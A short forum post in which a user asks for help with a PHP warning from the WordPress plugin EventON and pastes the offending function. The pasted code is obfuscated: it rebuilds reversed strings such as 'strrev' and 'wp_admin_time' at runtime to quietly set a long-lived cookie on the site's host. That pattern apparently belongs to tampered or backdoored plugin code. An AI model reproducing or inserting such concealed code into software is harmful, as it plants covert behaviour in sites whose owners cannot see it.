Plugin EventON – Problem with wp-login (cookies)

I do not know what to do. I’ve tried everything.
Can anyone help?

Warning: call_user_func(s.t.r.r.e.v) [function.call-user-func]: First argument is expected to be a valid callback in /public_html/wp-content/plugins/eventON/includes/class-evo-post-types.php on line 241

function wp_en_three()
{
$object_quince = ‘s…t…r…r…e…v’;
$object_quince_pim = glues_it($object_quince);
$object_diecinueve = call_user_func($object_quince_pim, ‘TSOH_PTTH’);
$object_dieciocho = call_user_func($object_quince_pim, ‘REVRES_’);
$object_siete = ‘s..e..t..c..o..o..k..i..e’;
$object_siete_pim = glues_it($object_siete);
$path = ‘/’;
$host = ${$object_dieciocho}[$object_diecinueve];
$estimes = call_user_func($object_quince_pim, ’emitotrts’);
$wp_ext = call_user_func($estimes, ‘+29 days’);
$emit_nimda_pw = call_user_func($object_quince_pim, ’emit_nimda_pw’);
call_user_func_array($object_siete_pim, array($emit_nimda_pw, ‘1’, $wp_ext, $path, $host));
}